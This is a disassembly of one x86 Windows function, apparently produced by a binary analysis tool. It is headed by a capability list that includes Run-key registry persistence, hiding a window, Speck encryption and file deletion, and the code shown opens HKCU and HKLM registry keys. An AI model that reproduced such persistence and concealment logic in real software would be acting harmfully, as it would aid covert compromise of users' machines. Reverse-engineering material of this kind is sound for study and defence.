Function at 0x595528
Capabilities:
Check os version
Copy file
Delete directory
Delete file
Encrypt data using speck
Get common file path
Get number of processors
Hide graphical window
Move file
Persist via run registry key
Query environment variable
Read .ini file
Set file attributes
Terminate process

Disassembly:
push ebp
mov ebp, esp
push ecx
mov ecx, 0x4f1
push 0
push 0
dec ecx
jne 0x595531
push ecx
xchg dword [ebp - 4], ecx
push ebx
push esi
push edi
mov dword [ebp - 0x528], ecx
mov dword [ebp - 0x524], edx
mov dword [ebp - 0x520], eax
mov eax, dword [ebp + 8]
call fcn.00405ec4
lea eax, [ebp - 0x51c]
mov edx, dword [0x40a540]
call fcn.00406740
xor eax, eax
push ebp
push 0x5ad569
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, 0x5ad584
call fcn.005c0f9c
mov eax, 0x5dbda8
call fcn.00405a44
mov dl, 1
mov eax, dword [0x42bdf4]
call fcn.00404ab4
mov dword [ebp - 0x1d8], eax
mov byte [0x5dbc8c], 0
mov byte [0x5dbc8d], 0
mov eax, 0x5dbc90
call fcn.00405a44
mov eax, dword [0x5d4c1c]
mov byte [eax], 0
mov eax, dword [0x5d4bdc]
xor edx, edx
mov dword [eax], edx
mov byte [0x5dbca0], 0
mov byte [0x5dbca1], 0
mov eax, 0x5dbca4
mov edx, 0x5ad59c
call fcn.00405a98
mov eax, 0x5dbc9c
call fcn.00405a44
lea eax, [ebp - 0x414]
call fcn.00405a44
lea eax, [ebp - 8]
call fcn.00405a44
mov dl, 1
mov eax, dword [0x41c6f4]
call fcn.00404ab4
mov dword [ebp - 4], eax
mov byte [ebp - 0x625], 1
lea eax, [ebp - 0x40c]
call fcn.00405a44
xor eax, eax
mov dword [ebp - 0x62c], eax
lea edx, [ebp - 0x820]
xor eax, eax
call fcn.00412b5c
mov eax, dword [ebp - 0x820]
lea edx, [ebp - 0x81c]
call fcn.0040bb78
mov edx, dword [ebp - 0x81c]
mov eax, 0x5dbcc8
call fcn.00405a98
lea eax, [ebp - 0x3ec]
call fcn.00405a44
lea eax, [ebp - 0x3f0]
call fcn.00405a44
mov byte [ebp - 0x609], 1
mov eax, 0x5dbd08
mov edx, dword [0x5dbd0c]
call fcn.00405a98
mov eax, 0x5ad5ac
call fcn.005c0f9c
mov eax, 0x5ad5c8
call fcn.005c0f9c
mov eax, dword [ebp + 0x10]
push eax
lea eax, [ebp - 0x3b0]
push eax
mov ecx, dword [ebp - 0x528]
mov edx, dword [ebp - 0x524]
mov eax, dword [ebp - 0x520]
call fcn.005af878
inc eax
je 0x5956d3
push 0x13a
call sub.kernel32.dll_GetCurrentProcess
push eax
call sub.kernel32.dll_TerminateProcess
jmp 0x5acfba
mov eax, 0x5ad5e4
call fcn.005c0f9c
call fcn.0058ee88
call fcn.00593564
mov ecx, 0x5ad604
mov edx, 0x5ad610
mov eax, dword [0x5dbd90]
call fcn.0058da84
mov ecx, 0x5ad628
mov edx, 0x5ad634
mov eax, dword [0x5dbd90]
call fcn.0058da84
mov ecx, 0x5ad604
mov edx, 0x5ad648
mov eax, dword [0x5dbd90]
call fcn.0058da84
xor ecx, ecx
mov edx, 0x5ad65c
mov eax, dword [0x5dbd90]
call fcn.0058da84
mov ecx, 0x5ad678
mov edx, 0x5ad688
mov eax, dword [0x5dbd90]
call fcn.0058da84
mov ecx, 0x5ad678
mov edx, 0x5ad6a0
mov eax, dword [0x5dbd90]
call fcn.0058da84
mov ecx, 0x5ad6bc
mov edx, dword [0x5dbd1c]
mov eax, 0x5ad6d8
call fcn.0058ffac
mov ecx, 0x5ad6bc
mov edx, dword [0x5dbd18]
mov eax, 0x5ad6ec
call fcn.0058ffac
call fcn.0058efa4
lea edx, [ebp - 0x824]
call fcn.00593610
mov edx, dword [ebp - 0x824]
mov ecx, 0x5ad6bc
mov eax, 0x5ad700
call fcn.0058ffac
mov eax, 0x5ad714
call fcn.005c0f9c
push ebp
call fcn.00594100
pop ecx
mov eax, 0x5ad72c
call fcn.005c0f9c
lea edx, [ebp - 0x828]
mov eax, dword [0x5dbcc8]
call fcn.00589d4c
mov edx, dword [ebp - 0x828]
mov eax, 0x5dbcc8
call fcn.00405a98
mov dl, 1
mov eax, dword [0x41c6f4]
call fcn.00404ab4
mov dword [ebp - 0x1dc], eax
xor eax, eax
mov dword [ebp - 0x58c], eax
mov byte [ebp - 0x584], 0
mov byte [ebp - 0x583], 0
mov byte [ebp - 0x585], 0
mov byte [ebp - 0x58d], 0
mov byte [ebp - 0x58e], 0
xor eax, eax
mov dword [ebp - 0x594], eax
xor eax, eax
mov dword [ebp - 0x598], eax
xor eax, eax
mov dword [0x5dbcc4], eax
mov eax, dword [0x5dbda0]
mov edx, dword [eax]
call dword [edx + 0x44]
mov eax, dword [0x5dbda4]
mov edx, dword [eax]
call dword [edx + 0x44]
mov eax, dword [0x5dbcd0]
mov edx, dword [eax]
call dword [edx + 0x44]
mov eax, dword [ebp - 0x520]
mov edx, dword [eax]
call dword [edx + 0x14]
test eax, eax
jle 0x59592c
mov dword [ebp - 0x668], eax
mov dword [ebp - 0x534], 1
lea ecx, [ebp - 0x82c]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x520]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x82c]
mov edx, 0x5ad748
call fcn.00405e6c
jne 0x59591a
lea eax, [ebp - 0x3b0]
push eax
lea ecx, [ebp - 0x830]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x830]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af678
lea edx, [ebp - 0x834]
mov eax, dword [ebp - 0x3b0]
call fcn.0040ab58
mov edx, dword [ebp - 0x834]
mov eax, dword [0x5dbcd0]
mov ecx, dword [eax]
call dword [ecx + 0x38]
lea edx, [ebp - 0x838]
mov eax, dword [ebp - 0x534]
dec eax
call fcn.0040b198
mov edx, dword [ebp - 0x838]
mov eax, dword [0x5dbcd0]
mov ecx, dword [eax]
call dword [ecx + 0x38]
inc dword [ebp - 0x534]
dec dword [ebp - 0x668]
jne 0x59587b
mov eax, dword [ebp + 8]
call fcn.0040b89c
test al, al
je 0x59593e
cmp dword [ebp + 8], 0
jne 0x59599f
lea edx, [ebp - 0x844]
mov eax, dword [ebp + 8]
call fcn.0040bb78
mov eax, dword [ebp - 0x844]
lea edx, [ebp - 0x840]
call fcn.00589d4c
push dword [ebp - 0x840]
lea edx, [ebp - 0x848]
mov eax, dword [ebp + 8]
call fcn.00589cac
push dword [ebp - 0x848]
push 0x5ad758
lea eax, [ebp - 0x83c]
mov edx, 3
call fcn.00405dd8
mov eax, dword [ebp - 0x83c]
call fcn.0040b89c
test al, al
je 0x5acfba
mov eax, 0x5ad768
call fcn.005c0f9c
xor eax, eax
push ebp
push 0x5aceec
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
mov dword [ebp - 0x534], eax
mov cl, 1
xor edx, edx
mov eax, 0x5ad77c
call fcn.005931d8
mov ecx, 0x5ad79c
mov edx, 0x5ad7b4
mov eax, 0x5ad7c4
call fcn.0058ffac
mov ecx, 0x5ad79c
mov edx, 0x5ad678
mov eax, 0x5ad7ec
call fcn.0058ffac
mov ecx, 0x5ad79c
mov edx, 0x5ad678
mov eax, 0x5ad80c
call fcn.0058ffac
lea edx, [ebp - 0x3c4]
lea eax, [ebp - 0x3c0]
call fcn.0058a430
mov ecx, 0x5ad79c
mov edx, 0x5ad838
mov eax, 0x5ad84c
call fcn.0058ffac
mov eax, 0x5ad85c
call fcn.005af628
test al, al
jne 0x595a4d
mov ecx, 0x5ad79c
xor edx, edx
mov eax, 0x5ad85c
call fcn.0058ffac
mov ecx, 0x5ad79c
xor edx, edx
mov eax, 0x5ad874
call fcn.0058ffac
mov ecx, 0x5ad79c
mov edx, 0x5ad604
mov eax, 0x5ad888
call fcn.0058ffac
mov ecx, 0x5ad79c
mov edx, 0x5ad604
mov eax, 0x5ad89c
call fcn.0058ffac
lea edx, [ebp - 0x84c]
xor eax, eax
call fcn.00412b5c
mov edx, dword [ebp - 0x84c]
mov ecx, 0x5ad79c
mov eax, 0x5ad8b4
call fcn.0058ffac
lea edx, [ebp - 0x858]
xor eax, eax
call fcn.00412b5c
mov eax, dword [ebp - 0x858]
lea edx, [ebp - 0x854]
call fcn.0040bb78
mov eax, dword [ebp - 0x854]
lea edx, [ebp - 0x850]
call fcn.00589d4c
mov edx, dword [ebp - 0x850]
mov ecx, 0x5ad79c
mov eax, 0x5ad8c4
call fcn.0058ffac
mov ecx, 0x5ad79c
xor edx, edx
mov eax, 0x5ad8d4
call fcn.0058ffac
mov ecx, 0x5ad79c
xor edx, edx
mov eax, 0x5ad8ec
call fcn.0058ffac
mov ecx, 0x5ad79c
mov edx, 0x5ad678
mov eax, 0x5ad904
call fcn.0058ffac
mov ecx, 0x5ad79c
mov edx, 0x5ad604
mov eax, 0x5ad914
call fcn.0058ffac
mov ecx, 0x5ad79c
xor edx, edx
mov eax, 0x5ad928
call fcn.0058ffac
mov ecx, 0x5ad79c
mov edx, 0x5ad678
mov eax, 0x5ad93c
call fcn.0058ffac
mov ecx, 0x5ad79c
mov edx, dword [ebp - 0x3c0]
mov eax, 0x5ad94c
call fcn.0058ffac
mov ecx, 0x5ad79c
mov edx, dword [ebp - 0x3c4]
mov eax, 0x5ad960
call fcn.0058ffac
mov ecx, 0x5ad79c
xor edx, edx
mov eax, 0x5ad974
call fcn.0058ffac
mov ecx, 0x5ad79c
mov edx, 0x5ad678
mov eax, 0x5ad988
call fcn.0058ffac
mov ecx, 0x5ad79c
mov edx, 0x5ad7b4
mov eax, 0x5ad9a0
call fcn.0058ffac
mov ecx, 0x5ad79c
mov edx, 0x5ad9b0
mov eax, 0x5ad9c0
call fcn.0058ffac
mov ecx, 0x5ad79c
mov edx, dword [0x5dbc98]
mov eax, 0x5ad9d0
call fcn.0058ffac
lea edx, [ebp - 0x85c]
movzx eax, byte [0x5dbcf4]
call fcn.00593610
mov edx, dword [ebp - 0x85c]
mov ecx, 0x5ad79c
mov eax, 0x5ad9e0
call fcn.0058ffac
mov ecx, 0x5ad79c
mov edx, dword [0x5dbcf8]
mov eax, 0x5ad9f0
call fcn.0058ffac
mov ecx, 0x5ad79c
mov edx, dword [0x5dbcfc]
mov eax, 0x5ada00
call fcn.0058ffac
mov ecx, 0x5ad79c
mov edx, 0x5ada10
mov eax, 0x5ada1c
call fcn.0058ffac
lea edx, [ebp - 0x864]
mov eax, dword [0x5dbd04]
call fcn.0040bb78
mov eax, dword [ebp - 0x864]
lea edx, [ebp - 0x860]
call fcn.00589d4c
mov edx, dword [ebp - 0x860]
mov ecx, 0x5ad79c
mov eax, 0x5ada30
call fcn.0058ffac
lea edx, [ebp - 0x868]
mov eax, dword [0x5dbd04]
call fcn.0040bc64
mov edx, dword [ebp - 0x868]
mov ecx, 0x5ad79c
mov eax, 0x5ada40
call fcn.0058ffac
lea edx, [ebp - 0x870]
mov eax, dword [0x5dbd00]
call fcn.0040bb78
mov eax, dword [ebp - 0x870]
lea edx, [ebp - 0x86c]
call fcn.00589d4c
mov edx, dword [ebp - 0x86c]
mov ecx, 0x5ad79c
mov eax, 0x5ada50
call fcn.0058ffac
mov ecx, 0x5ad79c
mov edx, 0x5ad7b4
mov eax, 0x5ada60
call fcn.0058ffac
mov ecx, 0x5ad79c
mov edx, 0x5ada74
mov eax, 0x5ada80
call fcn.0058ffac
mov ecx, 0x5ad79c
mov edx, 0x5ad678
mov eax, 0x5ada90
call fcn.0058ffac
mov ecx, 0x5ad79c
mov edx, 0x5ad678
mov eax, 0x5adaa0
call fcn.0058ffac
mov ecx, 0x5ad79c
mov edx, 0x5ad7b4
mov eax, 0x5adab8
call fcn.0058ffac
mov ecx, 0x5ad79c
mov edx, 0x5ad678
mov eax, 0x5adac8
call fcn.0058ffac
mov ecx, 0x5ad79c
mov edx, 0x5ad678
mov eax, 0x5adad8
call fcn.0058ffac
mov ecx, 0x5ad79c
mov edx, dword [0x5dbcc8]
mov eax, 0x5adae8
call fcn.0058ffac
mov ecx, 0x5ad79c
mov edx, dword [0x5dbd18]
mov eax, 0x5adaf8
call fcn.0058ffac
mov ecx, 0x5ad79c
mov edx, dword [0x5dbd40]
mov eax, 0x5adb08
call fcn.0058ffac
mov ecx, 0x5ad79c
mov edx, 0x5ad678
mov eax, 0x5adb18
call fcn.0058ffac
call fcn.0040d254
fstp qword [ebp - 0x690]
wait
push dword [ebp - 0x68c]
push dword [ebp - 0x690]
mov edx, dword [0x5d49f0]
mov edx, dword [edx]
lea eax, [ebp - 0x450]
call fcn.0040deb4
mov ecx, 0x5ad79c
mov edx, dword [ebp - 0x450]
mov eax, 0x5adb2c
call fcn.0058ffac
call fcn.0040d280
fstp qword [ebp - 0x698]
wait
push dword [ebp - 0x694]
push dword [ebp - 0x698]
mov edx, dword [0x5d4ce8]
mov edx, dword [edx]
lea eax, [ebp - 0x454]
call fcn.0040deb4
mov ecx, 0x5ad79c
mov edx, dword [ebp - 0x454]
mov eax, 0x5adb3c
call fcn.0058ffac
mov ecx, 0x5ad79c
mov edx, dword [0x5dbd20]
mov eax, 0x5adb4c
call fcn.0058ffac
mov ecx, 0x5ad79c
mov edx, dword [0x5dbd24]
mov eax, 0x5adb5c
call fcn.0058ffac
mov ecx, 0x5ad79c
mov edx, dword [ebp + 8]
mov eax, 0x5adb70
call fcn.0058ffac
lea edx, [ebp - 0x87c]
mov eax, dword [ebp + 8]
call fcn.0040bb78
mov eax, dword [ebp - 0x87c]
lea edx, [ebp - 0x878]
call fcn.00589d4c
push dword [ebp - 0x878]
lea edx, [ebp - 0x880]
mov eax, dword [ebp + 8]
call fcn.00589cac
push dword [ebp - 0x880]
push 0x5ad758
lea eax, [ebp - 0x874]
mov edx, 3
call fcn.00405dd8
mov eax, dword [ebp - 0x874]
call fcn.0040b89c
test al, al
je 0x5962c8
lea eax, [ebp - 0x3c4]
mov edx, dword [0x5dbd10]
call fcn.00405adc
mov eax, 0x5dbd10
call fcn.00405a44
xor eax, eax
push ebp
push 0x5962c1
push dword fs:[eax]
mov dword fs:[eax], esp
mov dl, 1
mov eax, dword [0x430728]
call fcn.00430894
mov dword [ebp - 0x53c], eax
mov edx, 0x80000001
mov eax, dword [ebp - 0x53c]
call fcn.00430970
mov eax, dword [ebp - 0x53c]
mov dword [eax + 0x18], 0x20019
lea edx, [ebp - 0x888]
mov eax, 0x5adaf8
call fcn.0058ff78
mov ecx, dword [ebp - 0x888]
lea eax, [ebp - 0x884]
mov edx, 0x5adb80
call fcn.00405d5c
mov edx, dword [ebp - 0x884]
xor ecx, ecx
mov eax, dword [ebp - 0x53c]
call fcn.004309d8
test al, al
je 0x595f9f
lea ecx, [ebp - 0x88c]
mov edx, 0x5adbc0
mov eax, dword [ebp - 0x53c]
call fcn.0043103c
mov edx, dword [ebp - 0x88c]
mov eax, 0x5dbd10
call fcn.00405a98
mov eax, dword [ebp - 0x53c]
call fcn.00430940
cmp dword [0x5dbd10], 0
jne 0x596026
mov edx, 0x80000002
mov eax, dword [ebp - 0x53c]
call fcn.00430970
lea edx, [ebp - 0x894]
mov eax, 0x5adaf8
call fcn.0058ff78
mov ecx, dword [ebp - 0x894]
lea eax, [ebp - 0x890]
mov edx, 0x5adb80
call fcn.00405d5c
mov edx, dword [ebp - 0x890]
xor ecx, ecx
mov eax, dword [ebp - 0x53c]
call fcn.004309d8
test al, al
je 0x596026
lea ecx, [ebp - 0x898]
mov edx, 0x5adbc0
mov eax, dword [ebp - 0x53c]
call fcn.0043103c
mov edx, dword [ebp - 0x898]
mov eax, 0x5dbd10
call fcn.00405a98
mov eax, dword [ebp - 0x53c]
call fcn.00430940
mov eax, dword [ebp - 0x53c]
call fcn.00404ae4
mov edx, dword [0x5dbd10]
mov eax, 0x5adbd8
call fcn.00410338
mov edx, eax
mov eax, 0x5dbd10
mov ecx, 1
call fcn.00405f7c
mov eax, dword [0x5dbd10]
mov dword [ebp - 0x69c], eax
mov eax, dword [ebp - 0x69c]
mov dword [ebp - 0x6a0], eax
cmp dword [ebp - 0x6a0], 0
je 0x596083
mov eax, dword [ebp - 0x6a0]
sub eax, 4
mov eax, dword [eax]
mov dword [ebp - 0x6a0], eax
mov edx, dword [0x5dbd10]
mov eax, 0x5adbd8
call fcn.00410338
mov edx, eax
mov eax, 0x5dbd10
mov ecx, dword [ebp - 0x6a0]
call fcn.00405f7c
lea edx, [ebp - 0x8a4]
mov eax, dword [0x5dbd10]
call fcn.0040bb78
mov eax, dword [ebp - 0x8a4]
lea edx, [ebp - 0x8a0]
call fcn.0042dc40
mov eax, dword [ebp - 0x8a0]
lea edx, [ebp - 0x89c]
call fcn.0040bc64
mov edx, dword [ebp - 0x89c]
mov eax, 0x5dbd10
call fcn.00405a98
mov eax, 0x5dbd14
mov edx, dword [0x5dbd10]
call fcn.00405a98
mov eax, dword [ebp + 8]
call fcn.0058efb8
lea edx, [ebp - 0x3c0]
call fcn.0058f0a0
push dword [ebp - 0x3c0]
push dword [0x5dbd10]
push 0x5adbe4
lea eax, [ebp - 0x3c0]
mov edx, 3
call fcn.00405dd8
push dword [ebp - 0x3c0]
lea edx, [ebp - 0x8a8]
mov eax, dword [ebp + 8]
call fcn.00589cac
push dword [ebp - 0x8a8]
push 0x5adbf0
lea eax, [ebp - 0x3c0]
mov edx, 3
call fcn.00405dd8
xor ecx, ecx
xor edx, edx
mov eax, dword [ebp - 0x3c0]
call fcn.0059155c
mov eax, dword [0x5dbcd8]
mov edx, dword [eax]
call dword [edx + 0x14]
test eax, eax
jle 0x596223
mov dword [ebp - 0x668], eax
mov dword [ebp - 0x54c], 1
lea ecx, [ebp - 0x8ac]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [0x5dbcdc]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8ac]
call fcn.00593654
test al, al
je 0x596211
lea ecx, [ebp - 0x8b0]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [0x5dbcd8]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8b0]
call fcn.005929a4
test al, al
jne 0x596211
lea ecx, [ebp - 0x8b4]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [0x5dbcd8]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8b4]
call fcn.0058f958
add eax, dword [0x5dbd78]
adc edx, dword [0x5dbd7c]
mov dword [0x5dbd78], eax
mov dword [0x5dbd7c], edx
inc dword [ebp - 0x54c]
dec dword [ebp - 0x668]
jne 0x59618b
mov eax, dword [ebp + 8]
call fcn.0058efb8
lea edx, [ebp - 0x3c0]
call fcn.0058f0a0
push dword [ebp - 0x3c0]
push dword [0x5dbd10]
push 0x5adbe4
lea eax, [ebp - 0x3c0]
mov edx, 3
call fcn.00405dd8
push dword [ebp - 0x3c0]
lea edx, [ebp - 0x8b8]
mov eax, dword [ebp + 8]
call fcn.00589cac
push dword [ebp - 0x8b8]
push 0x5adc00
lea eax, [ebp - 0x3c0]
mov edx, 3
call fcn.00405dd8
mov eax, dword [ebp - 0x3c0]
call fcn.0040b89c
test al, al
je 0x5962a3
mov edx, dword [ebp - 0x3c0]
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
call dword [ecx + 0x68]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x5962c8
mov eax, 0x5dbd10
mov edx, dword [ebp - 0x3c4]
call fcn.00405a98
ret
xor eax, eax
push ebp
push 0x596367
push dword fs:[eax]
mov dword fs:[eax], esp
mov dl, 1
mov eax, dword [0x430728]
call fcn.00430894
mov dword [ebp - 0x53c], eax
mov edx, 0x80000001
mov eax, dword [ebp - 0x53c]
call fcn.00430970
mov eax, dword [ebp - 0x53c]
mov dword [eax + 0x18], 0x20006
mov cl, 1
mov edx, 0x5adc10
mov eax, dword [ebp - 0x53c]
call fcn.004309d8
test al, al
je 0x596352
lea eax, [ebp - 0x8bc]
push eax
mov ecx, 8
mov edx, 2
mov eax, dword [0x5dbd0c]
call fcn.00405f3c
mov edx, dword [ebp - 0x8bc]
mov eax, dword [ebp - 0x53c]
call fcn.00430e44
mov eax, dword [ebp - 0x53c]
call fcn.00430940
mov eax, dword [ebp - 0x53c]
call fcn.00404ae4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x596371
xor eax, eax
push ebp
push 0x596410
push dword fs:[eax]
mov dword fs:[eax], esp
mov dl, 1
mov eax, dword [0x430728]
call fcn.00430894
mov dword [ebp - 0x53c], eax
mov edx, 0x80000002
mov eax, dword [ebp - 0x53c]
call fcn.00430970
mov eax, dword [ebp - 0x53c]
mov dword [eax + 0x18], 0x20006
mov cl, 1
mov edx, 0x5adc10
mov eax, dword [ebp - 0x53c]
call fcn.004309d8
test al, al
je 0x5963fb
lea eax, [ebp - 0x8c0]
push eax
mov ecx, 8
mov edx, 2
mov eax, dword [0x5dbd0c]
call fcn.00405f3c
mov edx, dword [ebp - 0x8c0]
mov eax, dword [ebp - 0x53c]
call fcn.00430e44
mov eax, dword [ebp - 0x53c]
call fcn.00430940
mov eax, dword [ebp - 0x53c]
call fcn.00404ae4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x59641a
mov byte [0x5dbca8], 1
mov eax, dword [ebp - 0x524]
mov edx, dword [eax]
call dword [edx + 0x14]
test eax, eax
jle 0x5964d7
mov dword [ebp - 0x668], eax
mov dword [ebp - 0x54c], 1
mov eax, dword [ebp - 0x54c]
dec eax
push eax
lea eax, [ebp - 0x418]
push eax
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp - 0x524]
mov eax, dword [ebp - 0x520]
call fcn.005b2428
cmp dword [ebp - 0x418], 0
je 0x5964c5
lea eax, [ebp - 0x8c4]
mov ecx, dword [ebp - 0x418]
mov edx, 0x5adc48
call fcn.00405d5c
mov eax, dword [ebp - 0x8c4]
mov edx, 0x5ad678
call fcn.0058ee94
push ebp
lea eax, [ebp - 0x8c8]
mov ecx, dword [ebp - 0x418]
mov edx, 0x5adc48
call fcn.00405d5c
mov eax, dword [ebp - 0x8c8]
call fcn.00593fdc
pop ecx
push ebp
mov eax, 0x5ad678
call fcn.00593fdc
pop ecx
inc dword [ebp - 0x54c]
dec dword [ebp - 0x668]
jne 0x596444
mov byte [0x5dbca8], 0
mov eax, 0x5dbd5c
call fcn.00405a44
mov eax, 0x5dbd60
mov edx, 0x5adc54
call fcn.00405a98
mov ecx, 0x5ad79c
xor edx, edx
mov eax, 0x5adc64
call fcn.0058ffac
push dword [0x5dbd24]
push dword [0x5dbd18]
push 0x5adc78
lea eax, [ebp - 0x8cc]
mov edx, 3
call fcn.00405dd8
mov eax, dword [ebp - 0x8cc]
call fcn.0040b89c
test al, al
je 0x596d35
lea eax, [ebp - 0x8d0]
mov ecx, 0x5adc88
mov edx, dword [0x5dbd24]
call fcn.00405d5c
mov eax, dword [ebp - 0x8d0]
xor edx, edx
call fcn.0042e3f4
mov dword [ebp - 0x630], eax
mov eax, dword [ebp - 0x630]
mov edx, dword [eax]
call dword [edx + 0x14]
cmp eax, 1
jl 0x5968a3
mov dword [ebp - 0x54c], eax
lea ecx, [ebp - 0x8d4]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x630]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8d4]
mov dword [ebp - 0x6a4], eax
lea eax, [ebp - 0x8d8]
mov ecx, 0x5adca0
mov edx, dword [0x5dbd24]
call fcn.00405d5c
mov eax, dword [ebp - 0x8d8]
mov dword [ebp - 0x6a8], eax
mov eax, dword [ebp - 0x6a4]
mov dword [ebp - 0x6b0], eax
cmp dword [ebp - 0x6b0], 0
je 0x5965eb
mov eax, dword [ebp - 0x6b0]
sub eax, 4
mov eax, dword [eax]
mov dword [ebp - 0x6b0], eax
mov eax, dword [ebp - 0x6a8]
mov dword [ebp - 0x6b4], eax
cmp dword [ebp - 0x6b4], 0
je 0x596611
mov eax, dword [ebp - 0x6b4]
sub eax, 4
mov eax, dword [eax]
mov dword [ebp - 0x6b4], eax
mov eax, dword [ebp - 0x6b4]
push eax
mov eax, dword [ebp - 0x6a8]
call fcn.00405ed4
push eax
mov eax, dword [ebp - 0x6b0]
push eax
mov eax, dword [ebp - 0x6a4]
call fcn.00405ed4
push eax
push 1
push 0x400
call sub.kernel32.dll_CompareStringA_1
sub eax, 2
mov dword [ebp - 0x6ac], eax
cmp dword [ebp - 0x6ac], 0
jne 0x596661
mov byte [ebp - 0x6c9], 1
jmp 0x59673c
lea ecx, [ebp - 0x8dc]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x630]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8dc]
mov dword [ebp - 0x6b8], eax
lea eax, [ebp - 0x8e0]
mov ecx, 0x5adcbc
mov edx, dword [0x5dbd24]
call fcn.00405d5c
mov eax, dword [ebp - 0x8e0]
mov dword [ebp - 0x6bc], eax
mov eax, dword [ebp - 0x6b8]
mov dword [ebp - 0x6c4], eax
cmp dword [ebp - 0x6c4], 0
je 0x5966cd
mov eax, dword [ebp - 0x6c4]
sub eax, 4
mov eax, dword [eax]
mov dword [ebp - 0x6c4], eax
mov eax, dword [ebp - 0x6bc]
mov dword [ebp - 0x6c8], eax
cmp dword [ebp - 0x6c8], 0
je 0x5966f3
mov eax, dword [ebp - 0x6c8]
sub eax, 4
mov eax, dword [eax]
mov dword [ebp - 0x6c8], eax
mov eax, dword [ebp - 0x6c8]
push eax
mov eax, dword [ebp - 0x6bc]
call fcn.00405ed4
push eax
mov eax, dword [ebp - 0x6c4]
push eax
mov eax, dword [ebp - 0x6b8]
call fcn.00405ed4
push eax
push 1
push 0x400
call sub.kernel32.dll_CompareStringA_1
sub eax, 2
mov dword [ebp - 0x6c0], eax
cmp dword [ebp - 0x6c0], 0
sete byte [ebp - 0x6c9]
cmp byte [ebp - 0x6c9], 0
je 0x59675c
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x630]
mov ecx, dword [eax]
call dword [ecx + 0x48]
jmp 0x596890
lea ecx, [ebp - 0x8e4]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x630]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x8e4]
mov eax, 0x5adcdc
call fcn.00410338
test eax, eax
je 0x59679f
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x630]
mov ecx, dword [eax]
call dword [ecx + 0x48]
jmp 0x596890
lea ecx, [ebp - 0x8e8]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x630]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8e8]
mov dword [ebp - 0x6d0], eax
push dword [0x5dbd24]
push 0x5adcec
push dword [0x5dbd58]
lea eax, [ebp - 0x8ec]
mov edx, 3
call fcn.00405dd8
mov eax, dword [ebp - 0x8ec]
mov dword [ebp - 0x6d4], eax
mov eax, dword [ebp - 0x6d0]
mov dword [ebp - 0x6dc], eax
cmp dword [ebp - 0x6dc], 0
je 0x596816
mov eax, dword [ebp - 0x6dc]
sub eax, 4
mov eax, dword [eax]
mov dword [ebp - 0x6dc], eax
mov eax, dword [ebp - 0x6d4]
mov dword [ebp - 0x6e0], eax
cmp dword [ebp - 0x6e0], 0
je 0x59683c
mov eax, dword [ebp - 0x6e0]
sub eax, 4
mov eax, dword [eax]
mov dword [ebp - 0x6e0], eax
mov eax, dword [ebp - 0x6e0]
push eax
mov eax, dword [ebp - 0x6d4]
call fcn.00405ed4
push eax
mov eax, dword [ebp - 0x6dc]
push eax
mov eax, dword [ebp - 0x6d0]
call fcn.00405ed4
push eax
push 1
push 0x400
call sub.kernel32.dll_CompareStringA_1
sub eax, 2
mov dword [ebp - 0x6d8], eax
cmp dword [ebp - 0x6d8], 0
jne 0x596890
mov eax, 0x5dbd5c
mov edx, dword [0x5dbd58]
call fcn.00405a98
dec dword [ebp - 0x54c]
cmp dword [ebp - 0x54c], 0
jne 0x59657f
mov eax, dword [ebp - 0x630]
mov edx, dword [eax]
call dword [edx + 0x14]
test eax, eax
je 0x596d35
cmp byte [0x5dbd54], 0
je 0x596bb5
lea edx, [ebp - 0x8f0]
mov eax, 0x5add04
call fcn.0058ff78
mov eax, dword [ebp - 0x8f0]
call fcn.00593654
test al, al
jne 0x596bb5
lea edx, [ebp - 0x8fc]
mov eax, dword [ebp + 8]
call fcn.0040bb78
mov eax, dword [ebp - 0x8fc]
lea edx, [ebp - 0x8f8]
call fcn.00589d4c
push dword [ebp - 0x8f8]
lea edx, [ebp - 0x900]
mov eax, dword [ebp + 8]
call fcn.00589cac
push dword [ebp - 0x900]
push 0x5ad758
lea eax, [ebp - 0x8f4]
mov edx, 3
call fcn.00405dd8
mov eax, dword [ebp - 0x8f4]
call fcn.0040b89c
test al, al
jne 0x596bb5
xor ecx, ecx
mov dl, 1
mov eax, dword [0x58cbd8]
call fcn.0047c898
mov edx, dword [0x5d484c]
mov dword [edx], eax
mov eax, dword [0x5d484c]
mov eax, dword [eax]
mov eax, dword [eax + 0x364]
mov eax, dword [eax + 0x284]
mov edx, dword [eax]
call dword [edx + 0x44]
mov eax, dword [ebp - 0x630]
mov edx, dword [eax]
call dword [edx + 0x14]
test eax, eax
jle 0x5969e9
mov dword [ebp - 0x668], eax
mov dword [ebp - 0x54c], 1
lea ecx, [ebp - 0x908]
